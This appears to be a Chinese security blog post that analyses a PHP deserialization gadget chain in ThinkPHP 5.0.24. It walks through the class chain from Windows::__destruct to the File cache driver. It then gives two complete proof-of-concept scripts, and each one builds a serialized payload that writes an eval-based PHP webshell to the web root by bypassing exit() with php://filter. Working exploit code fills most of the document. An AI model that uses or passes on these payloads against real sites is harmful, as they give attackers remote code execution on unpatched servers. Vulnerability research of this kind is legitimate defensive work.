0%

thinkphp-5.0.*-反序列化漏洞

漏洞环境:

版本:

1
2
ThinkPHP V5.0.24
php v7.1.9

测试代码:

application目录下新建一个一个模块test在controller文件夹内创建Test.php内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#命名空间app默认位于application
namespace app\test\controller;

class Test
{
//访问http://localhost/tp5.0/public/index.php/test/test/hello
//或者传递参数访问http://localhost/tp5.0/public/index.php/test/test/hello/pass/参数
public function hello($pass = 'pass')
{
unserialize(base64_decode($pass));
return 'hello';
}

}

漏洞分析:

类似thinkphp-5.1.*的反序列化漏洞,thinkphp-5.0.*-反序列化漏洞的入口点是

tp5.0\thinkphp\library\think\process\pipes\Windows.php的__destruct()方法

image-20240118145113219

同样进入removeFiles(),可用看到这里同样是有反序列化+任意文件删除的漏洞组合的(相关poc见我写的thinkphp-5.1.*-反序列化漏洞分析)。

image-20240118145208238

我们通过file_exists是可以触发__toString的,这里我们通过全局搜索可以发现\tp5.0\thinkphp\library\think\Model.php 的抽象类Model存在__toString方法。因为Model是抽象类,我们无法直接实例化,于是搜索继承Model的类,我们发现Pivot类继承了Model。以Pivot类为跳板通过file_exists(new Pivot)的形式我们就可以调用__toString方法了。

我们来看__toString方法

image-20240118150100331

进入toJson()

image-20240118150115854

接着进入toArray()。我们在其912行看到$value->getAttr($attr),在这里我们需要$value成为类Output,这样就可以触发Output的__call()方法。

image-20240118150324277

我们查看getRelationData(),发现需要满足三个条件即可使得$value可控,一眼看过去第一个条件$this->parent我们可以控制。

image-20240118171609516

查看isSelfRelation(),显然$this->selfRelation我们可以控制,所以第二个条件!$modelRelation->isSelfRelation()我们可以控制

image-20240118171834387

第三个条件get_class($modelRelation->getModel()) == get_class($this->parent))需要我们使得get_class($modelRelation->getModel())的结果是Output对象。我们进入getModel()查看,可以发现这里调用了$this->querygetModel()方法,$this->query我们是可控的。

image-20240118172843427

继续深入getModel()方法,我们发现Query类存在getModel()方法,$this->model我们也可以控制的,所以我们需要使得$this->query为Query对象,Query对象的$this->model为output对象。这样就可以通过第三个条件的验证了。

image-20240118173451138

因为Relation是抽象类那么要使得$this->query为Query对象,我们就要寻找一个继承Relation的类。考虑到toArray()方法第904行的验证我们还需要这个类含有getBindAttr()方法

image-20240118150324277

通过全局搜索我们可以找到这么一个类HasOne。HasOne继承自OneToOne而OneToOne则继承自Relation。所以HasOne满足我们的要求。

现在我们只需要使得$modelRelation为HasOne对象。从第901行我们可以知道通过调用this->$relation方法获得的$modelRelation。而$relation是通过$name得到的,$name可控。所以我们只需在Model抽象类中找到一个方法可以返回一个HasOne对象即可。$this->error可控,getError方法满足我们的要求。

image-20240118183100185

所以到目前为止我们构造的反序列化链条如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
namespace think\process\pipes {

use think\model\Pivot;

class Windows {
private $files = [];

public function __construct()
{
$this->files = [new Pivot()]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {

use think\console\Output;
use think\model\relation\HasOne;
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct()
{
$this->parent = new Output(); //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = new HasOne(); // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {

use think\db\Query;

abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct()
{
$this->selfRelation = 0;
$this->query = new Query();
$this->bindAttr = ['xxx'];
}
}
}

namespace think\db {
use think\console\Output;
class Query {
protected $model;

function __construct()
{
$this->model = new Output();
}
}
}
namespace think\console{

use think\session\driver\Memcached;

class Output{
//待构造
}
}
namespace {
use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}

接下来我们分析Output类的__call方法,我们可以看到其调用了Output类的block方法

image-20240118183443746

查看block方法,发现其继续调用writeln方法

image-20240118183541410

继续查看writeln方法,发现其调用了write方法

image-20240118183620984

继续追踪write方法,发现其调用了$this->handle的write的方法,而$this->handle我们是可以控制的

image-20240118183654591

我们全局搜索有write方法的类发现文件\tp5.0\thinkphp\library\think\session\driver\Memcached.php的Memcached类存在write方法,该方法会调用$this->handler的set方法,其中$this->handler我们是可以控制的。

image-20240118183822663

同理我们继续全局搜索含有set方法的类,在File类中我们可以发现set方法,并且可以通过set方法写入文件

image-20240118184212344

但是通过Memcached类传入的$name我们只能部分控制,而$data却完全不受我们控制。这样写入文件是没有意义的。

为解决这一问题我们关注到第161行的setTagItem函数,我们进入该函数,发现再次调用了set方法写入文件内容,而这一次文件的两个参数我们都可以在一定程度上控制了。

image-20240118184855983

但是这样还不够虽然我们可以控制$value使其含有php代码,但是

1
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

会使得生成的文件没有执行到我们写的后门代码片段就被exit()终止。事实上我们可以通过php伪协议将前面的代码给转换掉。我们先看到看set()获得文件名的方法getCacheKey()。这个方法通过拼接$this->options['path']生成文件名,而$this->options['path']是我们可以控制的。

image-20240118185945288

所以在$result = file_put_contents($filename, $data);时我们可以使得file_put_contents调用php://filter处理数据,从而达到绕过exit()的目的。

最终的poc如下(该poc是windows和linux下都通用的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
namespace think\process\pipes {

use think\model\Pivot;

class Windows {
private $files = [];

public function __construct()
{
$this->files = [new Pivot()]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {

use think\console\Output;
use think\model\relation\HasOne;

abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct()
{
$this->parent = new Output(); //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = new HasOne(); // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {

use think\db\Query;

abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct()
{
$this->selfRelation = 0;
$this->query = new Query(); //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {

use think\console\Output;

class Query {
protected $model;

function __construct()
{
$this->model = new Output(); //$this->model=> think\console\Output;
}
}
}
namespace think\console{

use think\session\driver\Memcached;

class Output{
private $handle;
protected $styles;
function __construct()
{
$this->styles = ['getAttr'];
$this->handle =new Memcached(); //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {

use think\cache\driver\File;

class Memcached
{
protected $handler;

function __construct()
{
$this->handler = new File(); //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}
namespace {
use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}

将会在public目录生成a.php12ac95f1498ce51d2d96a249c09c1998.php其中内容为

image-20240118194424571

另一种思路:

还有另外一种思路绕过File::set()的exit()死亡杂糅

在处理文件\tp5.0\thinkphp\library\think\session\driver\Memcached.php的Memcached类的write方法时我们不直接使得$this->handler指向File类,我们使其指向文件\tp5.0\thinkphp\library\think\cache\driver\Memcache.php的Memcached类的set方法。

在这个set方法中我们可以同样可以看到$this->handler->set这时我们将$this->handler指向$File

换句话说:我们通过Memcached类的set方法作为中转,绕一下调用File类的set方法。

image-20240118191151325

同样的当我们第一次调用Memcached::set时无法控制$value的值,但是任然存在setTagItem()方法被调用。

通过setTagItem我们可以使得第二次调用Memcached::set,$value受我们控制。

所以另外一种windows和linux平台都通用的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
<?php
namespace think\process\pipes {

use think\model\Pivot;

class Windows {
private $files = [];

public function __construct()
{
$this->files = [new Pivot()]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {

use think\console\Output;
use think\model\relation\HasOne;

abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct()
{
$this->parent = new Output(); //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = new HasOne(); // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {

use think\db\Query;

abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct()
{
$this->selfRelation = 0;
$this->query = new Query(); //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {

use think\console\Output;

class Query {
protected $model;

function __construct()
{
$this->model = new Output(); //$this->model=> think\console\Output;
}
}
}
namespace think\console{

use think\session\driver\Memcached;

class Output{
private $handle;
protected $styles;
function __construct()
{
$this->styles = ['getAttr'];
$this->handle =new Memcached(); //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {


class Memcached
{
protected $handler;

function __construct()
{
$this->handler = new \think\cache\driver\Memcached();
}
}
}
namespace think\cache\driver {

class Memcached
{
protected $handler;
protected $tag;
protected $options=null;

function __construct()
{
$this->handler = new File();
$this->tag =true;
$this->options['prefix']="PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g";//这里写shell的base64形式
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.base64-decode/resource=',
'data_compress' => false,
];
}

}
}

namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}

将会在public目录生成a5c52af8656ce679eb29e3449834f23c.php其中内容为

image-20240118194314277

漏洞总结:

对应两个poc的反序列化链

反序列化链1

1
2
3
4
5
6
7
8
9
10
11
12
13
起点:任意反序列化点
-->Windows::__destruct
-->Windows::removeFiles
-->file_exists(将类当作字符串触发__toString)
-->Pivot::__toString(方法继承于Model类,和下面的toJson和toArray一样)
-->Pivot::toJson-->Pivot::toArray
通过一系列手段使得$value成为Output类然后调用Output::getAttr(Output类没有getAttr方法触发__call)
-->Output::__call
-->Output::block-->Output::writeln-->Output::write
-->Memcached::write
-->File::set
-->File::setTagItem
-->File::set(绕过死亡杂糅写入文件)

反序列化链2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
起点:任意反序列化点
-->Windows::__destruct
-->Windows::removeFiles
-->file_exists(将类当作字符串触发__toString)
-->Pivot::__toString(方法继承于Model类,和下面的toJson和toArray一样)
-->Pivot::toJson-->Pivot::toArray
通过一系列手段使得$value成为Output类然后调用Output::getAttr(Output类没有getAttr方法触发__call)
-->Output::__call
-->Output::block-->Output::writeln-->Output::write
-->Memcached::write
-->Memcached::set(cache目录下的set)
-->File::set
-->Memcached::set(cache目录下的set)
-->File::set(绕过死亡杂糅写入文件)